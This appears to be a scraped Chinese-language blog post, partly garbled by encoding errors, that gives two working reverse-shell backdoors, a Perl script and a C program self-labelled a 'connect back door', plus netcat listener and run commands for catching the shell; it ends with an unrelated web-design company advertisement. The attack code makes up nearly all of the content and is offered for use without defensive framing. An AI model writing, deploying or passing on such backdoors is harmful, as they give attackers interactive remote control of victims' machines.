#!/usr/bin/perl -w   
#   
 
use strict;   
use Socket;   
use I:Handle;   
 
if($#ARGV+1 != 2){   
       print “$#ARGV $0 Remote_IP Remote_Port \n”;   
        exit 1;   
}   
 
my $remote_ip = $ARGV[0];   
my $remote_port = $ARGV[1];   
 
my $proto = getprotobyname(“tcp”);   
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));   
 
my $shell = ‘/bin/bash -i’;   
 
socket(SOCK, AF_INET, SOCK_STREAM, $proto);   
 
STDOUT->autoflush(1);   
SOCK->autoflush(1);   
 
connect(SOCK,$pack_addr) or die “can not connect:$!”;   
 
open STDIN, “<&SOCK”;   
open STDOUT, “>&SOCK”;   
open STDERR, “>&SOCK”;   
 
print “Enjoy the shell.\n”;             
 
system($shell);   
close SOCK;    
 
exit 0;   
本機(jī)執(zhí)行netcat.命令

nc -l -p 8080 -vv

遠(yuǎn)程:

./tcp.pl yourip 8080

perl和bash路徑要自己修改,不過(guò)一般不用修改的.

文件改為755再運(yùn)行.否則執(zhí)行不起來(lái)
#include
#include
#include
#include
#include
#include
#include

void usage();
char shell[]=”/bin/sh”;
char message[]=”s8s8 welcome\n”;
int sock;
int main(int argc, char *argv[]) {
if(argc <3){
usage(argv[0]);
}

struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf(“Couldn’t make socket!\n”); exit(-1);
}

server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);

if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf(“Could not connect to remote shell!\n”);
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,”/bin/sh”,(char *)0);
close(sock);
return 1;
}

void usage(char *prog[]) {
   printf(“\t\ts8s8 connect back door\n\n”);
printf(“\t sql@s8s8.net\n\n“);
printf(“Usage: %s \n”, prog);
exit(-1);
}
gcc -o f f.c

再在本機(jī)上監(jiān)聽(tīng)一個(gè)端口

nc -l -p 8888

再執(zhí)行./f 192.168.1.14 8888

注：反彈回來(lái)的 shell沒(méi)提示符。

創(chuàng)新互聯(lián)專注為客戶提供全方位的互聯(lián)網(wǎng)綜合服務(wù)，包含不限于成都網(wǎng)站制作、成都網(wǎng)站建設(shè)、外貿(mào)營(yíng)銷網(wǎng)站建設(shè)、汶上網(wǎng)絡(luò)推廣、小程序定制開(kāi)發(fā)、汶上網(wǎng)絡(luò)營(yíng)銷、汶上企業(yè)策劃、汶上品牌公關(guān)、搜索引擎seo、人物專訪、企業(yè)宣傳片、企業(yè)代運(yùn)營(yíng)等，從售前售中售后，我們都將竭誠(chéng)為您服務(wù)，您的肯定，是我們最大的嘉獎(jiǎng)；創(chuàng)新互聯(lián)為所有大學(xué)生創(chuàng)業(yè)者提供汶上建站搭建服務(wù)，24小時(shí)服務(wù)熱線：18980820575，官方網(wǎng)址：www.cdcxhl.com